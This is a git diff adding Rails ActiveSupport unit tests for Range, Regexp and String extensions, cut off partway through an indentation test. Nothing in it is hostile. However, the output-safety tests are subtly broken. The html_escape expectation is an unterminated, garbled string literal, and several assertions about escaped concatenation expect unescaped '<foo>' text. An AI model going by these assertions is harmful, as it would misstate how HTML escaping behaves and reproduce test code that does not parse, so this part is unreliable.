diff --git a/activesupport/test/core_ext/range_ext_test.rb b/activesupport/test/core_ext/range_ext_test.rb
new file mode 100644
index 0000000..6e94d5e
--- /dev/null
+++ b/activesupport/test/core_ext/range_ext_test.rb
@@ -0,0 +1,119 @@
+require 'abstract_unit'
+require 'active_support/time'
+require 'active_support/core_ext/range'
+require 'active_support/core_ext/numeric'
+
+class RangeTest < ActiveSupport::TestCase
+ def test_to_s_from_dates
+ date_range = Date.new(2005, 12, 10)..Date.new(2005, 12, 12)
+ assert_equal "BETWEEN '2005-12-10' AND '2005-12-12'", date_range.to_s(:db)
+ end
+
+ def test_to_s_from_times
+ date_range = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
+ assert_equal "BETWEEN '2005-12-10 15:30:00' AND '2005-12-10 17:30:00'", date_range.to_s(:db)
+ end
+
+ def test_date_range
+ assert_instance_of Range, DateTime.new..DateTime.new
+ assert_instance_of Range, DateTime::Infinity.new..DateTime::Infinity.new
+ assert_instance_of Range, DateTime.new..DateTime::Infinity.new
+ end
+
+ def test_overlaps_last_inclusive
+ assert((1..5).overlaps?(5..10))
+ end
+
+ def test_overlaps_last_exclusive
+ assert !(1...5).overlaps?(5..10)
+ end
+
+ def test_overlaps_first_inclusive
+ assert((5..10).overlaps?(1..5))
+ end
+
+ def test_overlaps_first_exclusive
+ assert !(5..10).overlaps?(1...5)
+ end
+
+ def test_should_include_identical_inclusive
+ assert((1..10).include?(1..10))
+ end
+
+ def test_should_include_identical_exclusive
+ assert((1...10).include?(1...10))
+ end
+
+ def test_should_include_other_with_exlusive_end
+ assert((1..10).include?(1...10))
+ end
+
+ def test_should_compare_identical_inclusive
+ assert((1..10) === (1..10))
+ end
+
+ def test_should_compare_identical_exclusive
+ assert((1...10) === (1...10))
+ end
+
+ def test_should_compare_other_with_exlusive_end
+ assert((1..10) === (1...10))
+ end
+
+ def test_exclusive_end_should_not_include_identical_with_inclusive_end
+ assert !(1...10).include?(1..10)
+ end
+
+ def test_should_not_include_overlapping_first
+ assert !(2..8).include?(1..3)
+ end
+
+ def test_should_not_include_overlapping_last
+ assert !(2..8).include?(5..9)
+ end
+
+ def test_should_include_identical_exclusive_with_floats
+ assert((1.0...10.0).include?(1.0...10.0))
+ end
+
+ def test_cover_is_not_override
+ range = (1..3)
+ assert range.method(:include?) != range.method(:cover?)
+ end
+
+ def test_overlaps_on_time
+ time_range_1 = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
+ time_range_2 = Time.utc(2005, 12, 10, 17, 00)..Time.utc(2005, 12, 10, 18, 00)
+ assert time_range_1.overlaps?(time_range_2)
+ end
+
+ def test_no_overlaps_on_time
+ time_range_1 = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
+ time_range_2 = Time.utc(2005, 12, 10, 17, 31)..Time.utc(2005, 12, 10, 18, 00)
+ assert !time_range_1.overlaps?(time_range_2)
+ end
+
+ def test_infinite_bounds
+ time_zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+
+ time = Time.now
+ date = Date.today
+ datetime = DateTime.now
+ twz = ActiveSupport::TimeWithZone.new(time, time_zone)
+
+ infinity1 = Float::INFINITY
+ infinity2 = BigDecimal.new('Infinity')
+
+ [infinity1, infinity2].each do |infinity|
+ [time, date, datetime, twz].each do |bound|
+ [time, date, datetime, twz].each do |value|
+ assert Range.new(bound, infinity).include?(value + 10.years)
+ assert Range.new(-infinity, bound).include?(value - 10.years)
+
+ assert !Range.new(bound, infinity).include?(value - 10.years)
+ assert !Range.new(-infinity, bound).include?(value + 10.years)
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/test/core_ext/regexp_ext_test.rb b/activesupport/test/core_ext/regexp_ext_test.rb
new file mode 100644
index 0000000..c2398d3
--- /dev/null
+++ b/activesupport/test/core_ext/regexp_ext_test.rb
@@ -0,0 +1,10 @@
+require 'abstract_unit'
+require 'active_support/core_ext/regexp'
+
+class RegexpExtAccessTests < ActiveSupport::TestCase
+ def test_multiline
+ assert_equal true, //m.multiline?
+ assert_equal false, //.multiline?
+ assert_equal false, /(?m:)/.multiline?
+ end
+end
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
new file mode 100644
index 0000000..8f0ebc1
--- /dev/null
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -0,0 +1,744 @@
+# encoding: utf-8
+require 'date'
+require 'abstract_unit'
+require 'inflector_test_cases'
+require 'constantize_test_cases'
+
+require 'active_support/inflector'
+require 'active_support/core_ext/string'
+require 'active_support/time'
+require 'active_support/core_ext/string/strip'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/string/indent'
+
+module Ace
+ module Base
+ class Case
+ end
+ end
+end
+
+class StringInflectionsTest < ActiveSupport::TestCase
+ include InflectorTestCases
+ include ConstantizeTestCases
+
+ def test_strip_heredoc_on_an_empty_string
+ assert_equal '', ''.strip_heredoc
+ end
+
+ def test_strip_heredoc_on_a_string_with_no_lines
+ assert_equal 'x', 'x'.strip_heredoc
+ assert_equal 'x', ' x'.strip_heredoc
+ end
+
+ def test_strip_heredoc_on_a_heredoc_with_no_margin
+ assert_equal "foo\nbar", "foo\nbar".strip_heredoc
+ assert_equal "foo\n bar", "foo\n bar".strip_heredoc
+ end
+
+ def test_strip_heredoc_on_a_regular_indented_heredoc
+ assert_equal "foo\n bar\nbaz\n", <<-EOS.strip_heredoc
+ foo
+ bar
+ baz
+ EOS
+ end
+
+ def test_strip_heredoc_on_a_regular_indented_heredoc_with_blank_lines
+ assert_equal "foo\n bar\n\nbaz\n", <<-EOS.strip_heredoc
+ foo
+ bar
+
+ baz
+ EOS
+ end
+
+ def test_pluralize
+ SingularToPlural.each do |singular, plural|
+ assert_equal(plural, singular.pluralize)
+ end
+
+ assert_equal("plurals", "plurals".pluralize)
+
+ assert_equal("blargles", "blargle".pluralize(0))
+ assert_equal("blargle", "blargle".pluralize(1))
+ assert_equal("blargles", "blargle".pluralize(2))
+ end
+
+ def test_singularize
+ SingularToPlural.each do |singular, plural|
+ assert_equal(singular, plural.singularize)
+ end
+ end
+
+ def test_titleize
+ MixtureToTitleCase.each do |before, titleized|
+ assert_equal(titleized, before.titleize)
+ end
+ end
+
+ def test_camelize
+ CamelToUnderscore.each do |camel, underscore|
+ assert_equal(camel, underscore.camelize)
+ end
+ end
+
+ def test_camelize_lower
+ assert_equal('capital', 'Capital'.camelize(:lower))
+ end
+
+ def test_dasherize
+ UnderscoresToDashes.each do |underscored, dasherized|
+ assert_equal(dasherized, underscored.dasherize)
+ end
+ end
+
+ def test_underscore
+ CamelToUnderscore.each do |camel, underscore|
+ assert_equal(underscore, camel.underscore)
+ end
+
+ assert_equal "html_tidy", "HTMLTidy".underscore
+ assert_equal "html_tidy_generator", "HTMLTidyGenerator".underscore
+ end
+
+ def test_underscore_to_lower_camel
+ UnderscoreToLowerCamel.each do |underscored, lower_camel|
+ assert_equal(lower_camel, underscored.camelize(:lower))
+ end
+ end
+
+ def test_demodulize
+ assert_equal "Account", "MyApplication::Billing::Account".demodulize
+ end
+
+ def test_deconstantize
+ assert_equal "MyApplication::Billing", "MyApplication::Billing::Account".deconstantize
+ end
+
+ def test_foreign_key
+ ClassNameToForeignKeyWithUnderscore.each do |klass, foreign_key|
+ assert_equal(foreign_key, klass.foreign_key)
+ end
+
+ ClassNameToForeignKeyWithoutUnderscore.each do |klass, foreign_key|
+ assert_equal(foreign_key, klass.foreign_key(false))
+ end
+ end
+
+ def test_tableize
+ ClassNameToTableName.each do |class_name, table_name|
+ assert_equal(table_name, class_name.tableize)
+ end
+ end
+
+ def test_classify
+ ClassNameToTableName.each do |class_name, table_name|
+ assert_equal(class_name, table_name.classify)
+ end
+ end
+
+ def test_string_parameterized_normal
+ StringToParameterized.each do |normal, slugged|
+ assert_equal(normal.parameterize, slugged)
+ end
+ end
+
+ def test_string_parameterized_no_separator
+ StringToParameterizeWithNoSeparator.each do |normal, slugged|
+ assert_equal(normal.parameterize(''), slugged)
+ end
+ end
+
+ def test_string_parameterized_underscore
+ StringToParameterizeWithUnderscore.each do |normal, slugged|
+ assert_equal(normal.parameterize('_'), slugged)
+ end
+ end
+
+ def test_humanize
+ UnderscoreToHuman.each do |underscore, human|
+ assert_equal(human, underscore.humanize)
+ end
+ end
+
+ def test_ord
+ assert_equal 97, 'a'.ord
+ assert_equal 97, 'abc'.ord
+ end
+
+ def test_access
+ s = "hello"
+ assert_equal "h", s.at(0)
+
+ assert_equal "llo", s.from(2)
+ assert_equal "hel", s.to(2)
+
+ assert_equal "h", s.first
+ assert_equal "he", s.first(2)
+ assert_equal "", s.first(0)
+
+ assert_equal "o", s.last
+ assert_equal "llo", s.last(3)
+ assert_equal "hello", s.last(10)
+ assert_equal "", s.last(0)
+
+ assert_equal 'x', 'x'.first
+ assert_equal 'x', 'x'.first(4)
+
+ assert_equal 'x', 'x'.last
+ assert_equal 'x', 'x'.last(4)
+ end
+
+ def test_access_returns_a_real_string
+ hash = {}
+ hash["h"] = true
+ hash["hello123".at(0)] = true
+ assert_equal %w(h), hash.keys
+
+ hash = {}
+ hash["llo"] = true
+ hash["hello".from(2)] = true
+ assert_equal %w(llo), hash.keys
+
+ hash = {}
+ hash["hel"] = true
+ hash["hello".to(2)] = true
+ assert_equal %w(hel), hash.keys
+
+ hash = {}
+ hash["hello"] = true
+ hash["123hello".last(5)] = true
+ assert_equal %w(hello), hash.keys
+
+ hash = {}
+ hash["hello"] = true
+ hash["hello123".first(5)] = true
+ assert_equal %w(hello), hash.keys
+ end
+
+ def test_starts_ends_with_alias
+ s = "hello"
+ assert s.starts_with?('h')
+ assert s.starts_with?('hel')
+ assert !s.starts_with?('el')
+
+ assert s.ends_with?('o')
+ assert s.ends_with?('lo')
+ assert !s.ends_with?('el')
+ end
+
+ def test_string_squish
+ original = %{\u180E\u180E A string surrounded by unicode mongolian vowel separators,
+ with tabs(\t\t), newlines(\n\n), unicode nextlines(\u0085\u0085) and many spaces( ). \u180E\u180E}
+
+ expected = "A string surrounded by unicode mongolian vowel separators, " +
+ "with tabs( ), newlines( ), unicode nextlines( ) and many spaces( )."
+
+ # Make sure squish returns what we expect:
+ assert_equal original.squish, expected
+ # But doesn't modify the original string:
+ assert_not_equal original, expected
+
+ # Make sure squish! returns what we expect:
+ assert_equal original.squish!, expected
+ # And changes the original string:
+ assert_equal original, expected
+ end
+
+ def test_string_inquiry
+ assert "production".inquiry.production?
+ assert !"production".inquiry.development?
+ end
+
+ def test_truncate
+ assert_equal "Hello World!", "Hello World!".truncate(12)
+ assert_equal "Hello Wor...", "Hello World!!".truncate(12)
+ end
+
+ def test_truncate_with_omission_and_seperator
+ assert_equal "Hello[...]", "Hello World!".truncate(10, :omission => "[...]")
+ assert_equal "Hello[...]", "Hello Big World!".truncate(13, :omission => "[...]", :separator => ' ')
+ assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, :omission => "[...]", :separator => ' ')
+ assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, :omission => "[...]", :separator => ' ')
+ end
+
+ def test_truncate_with_omission_and_regexp_seperator
+ assert_equal "Hello[...]", "Hello Big World!".truncate(13, :omission => "[...]", :separator => /\s/)
+ assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, :omission => "[...]", :separator => /\s/)
+ assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, :omission => "[...]", :separator => /\s/)
+ end
+
+ def test_truncate_multibyte
+ assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding(Encoding::UTF_8),
+ "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding(Encoding::UTF_8).truncate(10)
+ end
+
+ def test_truncate_should_not_be_html_safe
+ assert !"Hello World!".truncate(12).html_safe?
+ end
+
+ def test_constantize
+ run_constantize_tests_on do |string|
+ string.constantize
+ end
+ end
+
+ def test_safe_constantize
+ run_safe_constantize_tests_on do |string|
+ string.safe_constantize
+ end
+ end
+end
+
+class StringConversionsTest < ActiveSupport::TestCase
+ def test_string_to_time
+ with_env_tz "Europe/Moscow" do
+ assert_equal Time.utc(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time(:utc)
+ assert_equal Time.local(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time
+ assert_equal Time.utc(2005, 2, 27, 23, 50, 19, 275038), "2005-02-27T23:50:19.275038".to_time(:utc)
+ assert_equal Time.local(2005, 2, 27, 23, 50, 19, 275038), "2005-02-27T23:50:19.275038".to_time
+ assert_equal Time.utc(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time(:utc)
+ assert_equal Time.local(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time
+ assert_equal Time.local(2011, 2, 27, 17, 50), "2011-02-27 13:50 -0100".to_time
+ assert_equal Time.utc(2011, 2, 27, 23, 50), "2011-02-27 22:50 -0100".to_time(:utc)
+ assert_equal Time.local(2005, 2, 27, 22, 50), "2005-02-27 14:50 -0500".to_time
+ assert_nil "".to_time
+ end
+ end
+
+ def test_string_to_time_utc_offset
+ with_env_tz "US/Eastern" do
+ assert_equal 0, "2005-02-27 23:50".to_time(:utc).utc_offset
+ assert_equal(-18000, "2005-02-27 23:50".to_time.utc_offset)
+ assert_equal 0, "2005-02-27 22:50 -0100".to_time(:utc).utc_offset
+ assert_equal(-18000, "2005-02-27 22:50 -0100".to_time.utc_offset)
+ end
+ end
+
+ def test_partial_string_to_time
+ with_env_tz "Europe/Moscow" do
+ now = Time.now
+ assert_equal Time.local(now.year, now.month, now.day, 23, 50), "23:50".to_time
+ assert_equal Time.utc(now.year, now.month, now.day, 23, 50), "23:50".to_time(:utc)
+ assert_equal Time.local(now.year, now.month, now.day, 18, 50), "13:50 -0100".to_time
+ assert_equal Time.utc(now.year, now.month, now.day, 23, 50), "22:50 -0100".to_time(:utc)
+ end
+ end
+
+ def test_standard_time_string_to_time_when_current_time_is_standard_time
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 1, 1))
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 -0800".to_time
+ assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 -0800".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 -0500".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 -0500".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 5, 0), "2012-01-01 10:00 UTC".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 PST".to_time
+ assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 PST".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 EST".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 EST".to_time(:utc)
+ end
+ end
+
+ def test_standard_time_string_to_time_when_current_time_is_daylight_savings
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 7, 1))
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 -0800".to_time
+ assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 -0800".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 -0500".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 -0500".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 5, 0), "2012-01-01 10:00 UTC".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 PST".to_time
+ assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 PST".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 EST".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 EST".to_time(:utc)
+ end
+ end
+
+ def test_daylight_savings_string_to_time_when_current_time_is_standard_time
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 1, 1))
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 -0700".to_time
+ assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 -0700".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 -0400".to_time
+ assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 -0400".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 6, 0), "2012-07-01 10:00 UTC".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 PDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 PDT".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 EDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 EDT".to_time(:utc)
+ end
+ end
+
+ def test_daylight_savings_string_to_time_when_current_time_is_daylight_savings
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 7, 1))
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 -0700".to_time
+ assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 -0700".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 -0400".to_time
+ assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 -0400".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 6, 0), "2012-07-01 10:00 UTC".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 PDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 PDT".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 EDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 EDT".to_time(:utc)
+ end
+ end
+
+ def test_partial_string_to_time_when_current_time_is_standard_time
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 1, 1))
+ assert_equal Time.local(2012, 1, 1, 10, 0), "10:00".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "10:00".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 6, 0), "10:00 -0100".to_time
+ assert_equal Time.utc(2012, 1, 1, 11, 0), "10:00 -0100".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "10:00 -0500".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "10:00 -0500".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 5, 0), "10:00 UTC".to_time
+ assert_equal Time.utc(2012, 1, 1, 10, 0), "10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 13, 0), "10:00 PST".to_time
+ assert_equal Time.utc(2012, 1, 1, 18, 0), "10:00 PST".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 12, 0), "10:00 PDT".to_time
+ assert_equal Time.utc(2012, 1, 1, 17, 0), "10:00 PDT".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 10, 0), "10:00 EST".to_time
+ assert_equal Time.utc(2012, 1, 1, 15, 0), "10:00 EST".to_time(:utc)
+ assert_equal Time.local(2012, 1, 1, 9, 0), "10:00 EDT".to_time
+ assert_equal Time.utc(2012, 1, 1, 14, 0), "10:00 EDT".to_time(:utc)
+ end
+ end
+
+ def test_partial_string_to_time_when_current_time_is_daylight_savings
+ with_env_tz "US/Eastern" do
+ Time.stubs(:now).returns(Time.local(2012, 7, 1))
+ assert_equal Time.local(2012, 7, 1, 10, 0), "10:00".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "10:00".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 7, 0), "10:00 -0100".to_time
+ assert_equal Time.utc(2012, 7, 1, 11, 0), "10:00 -0100".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 11, 0), "10:00 -0500".to_time
+ assert_equal Time.utc(2012, 7, 1, 15, 0), "10:00 -0500".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 6, 0), "10:00 UTC".to_time
+ assert_equal Time.utc(2012, 7, 1, 10, 0), "10:00 UTC".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 14, 0), "10:00 PST".to_time
+ assert_equal Time.utc(2012, 7, 1, 18, 0), "10:00 PST".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 13, 0), "10:00 PDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 17, 0), "10:00 PDT".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 11, 0), "10:00 EST".to_time
+ assert_equal Time.utc(2012, 7, 1, 15, 0), "10:00 EST".to_time(:utc)
+ assert_equal Time.local(2012, 7, 1, 10, 0), "10:00 EDT".to_time
+ assert_equal Time.utc(2012, 7, 1, 14, 0), "10:00 EDT".to_time(:utc)
+ end
+ end
+
+ def test_string_to_datetime
+ assert_equal DateTime.civil(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_datetime
+ assert_equal 0, "2039-02-27 23:50".to_datetime.offset # use UTC offset
+ assert_equal ::Date::ITALY, "2039-02-27 23:50".to_datetime.start # use Ruby's default start value
+ assert_equal DateTime.civil(2039, 2, 27, 23, 50, 19 + Rational(275038, 1000000), "-04:00"), "2039-02-27T23:50:19.275038-04:00".to_datetime
+ assert_nil "".to_datetime
+ end
+
+ def test_partial_string_to_datetime
+ now = DateTime.now
+ assert_equal DateTime.civil(now.year, now.month, now.day, 23, 50), "23:50".to_datetime
+ assert_equal DateTime.civil(now.year, now.month, now.day, 23, 50, 0, "-04:00"), "23:50 -0400".to_datetime
+ end
+
+ def test_string_to_date
+ assert_equal Date.new(2005, 2, 27), "2005-02-27".to_date
+ assert_nil "".to_date
+ assert_equal Date.new(Date.today.year, 2, 3), "Feb 3rd".to_date
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
+
+class StringBehaviourTest < ActiveSupport::TestCase
+ def test_acts_like_string
+ assert 'Bambi'.acts_like_string?
+ end
+end
+
+class CoreExtStringMultibyteTest < ActiveSupport::TestCase
+ UTF8_STRING = 'こにちわ'
+ ASCII_STRING = 'ohayo'.encode('US-ASCII')
+ EUC_JP_STRING = 'さよなら'.encode('EUC-JP')
+ INVALID_UTF8_STRING = "\270\236\010\210\245"
+
+ def test_core_ext_adds_mb_chars
+ assert_respond_to UTF8_STRING, :mb_chars
+ end
+
+ def test_string_should_recognize_utf8_strings
+ assert UTF8_STRING.is_utf8?
+ assert ASCII_STRING.is_utf8?
+ assert !EUC_JP_STRING.is_utf8?
+ assert !INVALID_UTF8_STRING.is_utf8?
+ end
+
+ def test_mb_chars_returns_instance_of_proxy_class
+ assert_kind_of ActiveSupport::Multibyte.proxy_class, UTF8_STRING.mb_chars
+ end
+end
+
+class OutputSafetyTest < ActiveSupport::TestCase
+ def setup
+ @string = "hello"
+ @object = Class.new(Object) do
+ def to_s
+ "other"
+ end
+ end.new
+ end
+
+ test "A string is unsafe by default" do
+ assert !@string.html_safe?
+ end
+
+ test "A string can be marked safe" do
+ string = @string.html_safe
+ assert string.html_safe?
+ end
+
+ test "Marking a string safe returns the string" do
+ assert_equal @string, @string.html_safe
+ end
+
+ test "A fixnum is safe by default" do
+ assert 5.html_safe?
+ end
+
+ test "a float is safe by default" do
+ assert 5.7.html_safe?
+ end
+
+ test "An object is unsafe by default" do
+ assert !@object.html_safe?
+ end
+
+ test "Adding an object to a safe string returns a safe string" do
+ string = @string.html_safe
+ string << @object
+
+ assert_equal "helloother", string
+ assert string.html_safe?
+ end
+
+ test "Adding a safe string to another safe string returns a safe string" do
+ @other_string = "other".html_safe
+ string = @string.html_safe
+ @combination = @other_string + string
+
+ assert_equal "otherhello", @combination
+ assert @combination.html_safe?
+ end
+
+ test "Adding an unsafe string to a safe string escapes it and returns a safe string" do
+ @other_string = "other".html_safe
+ @combination = @other_string + "<foo>"
+ @other_combination = @string + "<foo>"
+
+ assert_equal "other<foo>", @combination
+ assert_equal "hello<foo>", @other_combination
+
+ assert @combination.html_safe?
+ assert !@other_combination.html_safe?
+ end
+
+ test "Concatting safe onto unsafe yields unsafe" do
+ @other_string = "other"
+
+ string = @string.html_safe
+ @other_string.concat(string)
+ assert !@other_string.html_safe?
+ end
+
+ test "Concatting unsafe onto safe yields escaped safe" do
+ @other_string = "other".html_safe
+ string = @other_string.concat("<foo>")
+ assert_equal "other<foo>", string
+ assert string.html_safe?
+ end
+
+ test "Concatting safe onto safe yields safe" do
+ @other_string = "other".html_safe
+ string = @string.html_safe
+
+ @other_string.concat(string)
+ assert @other_string.html_safe?
+ end
+
+ test "Concatting safe onto unsafe with << yields unsafe" do
+ @other_string = "other"
+ string = @string.html_safe
+
+ @other_string << string
+ assert !@other_string.html_safe?
+ end
+
+ test "Concatting unsafe onto safe with << yields escaped safe" do
+ @other_string = "other".html_safe
+ string = @other_string << "<foo>"
+ assert_equal "other<foo>", string
+ assert string.html_safe?
+ end
+
+ test "Concatting safe onto safe with << yields safe" do
+ @other_string = "other".html_safe
+ string = @string.html_safe
+
+ @other_string << string
+ assert @other_string.html_safe?
+ end
+
+ test "Concatting safe onto unsafe with % yields unsafe" do
+ @other_string = "other%s"
+ string = @string.html_safe
+
+ @other_string = @other_string % string
+ assert !@other_string.html_safe?
+ end
+
+ test "Concatting unsafe onto safe with % yields escaped safe" do
+ @other_string = "other%s".html_safe
+ string = @other_string % "<foo>"
+
+ assert_equal "other<foo>", string
+ assert string.html_safe?
+ end
+
+ test "Concatting safe onto safe with % yields safe" do
+ @other_string = "other%s".html_safe
+ string = @string.html_safe
+
+ @other_string = @other_string % string
+ assert @other_string.html_safe?
+ end
+
+ test "Concatting with % doesn't modify a string" do
+ @other_string = ["<p>", "<b>", "<h1>"]
+ _ = "%s %s %s".html_safe % @other_string
+
+ assert_equal ["<p>", "<b>", "<h1>"], @other_string
+ end
+
+ test "Concatting a fixnum to safe always yields safe" do
+ string = @string.html_safe
+ string = string.concat(13)
+ assert_equal "hello".concat(13), string
+ assert string.html_safe?
+ end
+
+ test 'emits normal string yaml' do
+ assert_equal 'foo'.to_yaml, 'foo'.html_safe.to_yaml(:foo => 1)
+ end
+
+ test 'knows whether it is encoding aware' do
+ assert_deprecated do
+ assert 'ruby'.encoding_aware?
+ end
+ end
+
+ test "call to_param returns a normal string" do
+ string = @string.html_safe
+ assert string.html_safe?
+ assert !string.to_param.html_safe?
+ end
+
+ test "ERB::Util.html_escape should escape unsafe characters" do
+ string = '<>&"\''
+ expected = '<>&"''
+ assert_equal expected, ERB::Util.html_escape(string)
+ end
+
+ test "ERB::Util.html_escape should correctly handle invalid UTF-8 strings" do
+ string = [192, 60].pack('CC')
+ expected = 192.chr + "<"
+ assert_equal expected, ERB::Util.html_escape(string)
+ end
+
+ test "ERB::Util.html_escape should not escape safe strings" do
+ string = "<b>hello</b>".html_safe
+ assert_equal string, ERB::Util.html_escape(string)
+ end
+end
+
+class StringExcludeTest < ActiveSupport::TestCase
+ test 'inverse of #include' do
+ assert_equal false, 'foo'.exclude?('o')
+ assert_equal true, 'foo'.exclude?('p')
+ end
+end
+
+class StringIndentTest < ActiveSupport::TestCase
+ test 'does not indent strings that only contain newlines (edge cases)' do
+ ['', "\n", "\n" * 7].each do |str|
+ assert_nil str.indent!(8)
+ assert_equal str, str.indent(8)
+ assert_equal str, str.indent(1, "\t")
+ end
+ end
+
+ test "by default, indents with spaces if the existing indentation uses them" do
+ assert_equal " foo\n bar", "foo\n bar".indent(4)
+ end
+
+ test "by default, indents with tabs if the existing indentation uses them" do
+ assert_equal "\tfoo\n\t\t\bar", "foo\n\t\bar".indent(1)
+ end
+
+ test "by default, indents with spaces as a fallback if there is no indentation" do
+ assert_equal " foo\n bar\n baz", "foo\nbar\nbaz".indent(3)
+ end
+
+ # Nothing is said about existing indentation that mixes spaces and tabs, so
+ # there is nothing to test.
+
+ test 'uses the indent char if passed' do
+ assert_equal <<EXPECTED, <<ACTUAL.indent(4, '.')
+.... def some_method(x, y)
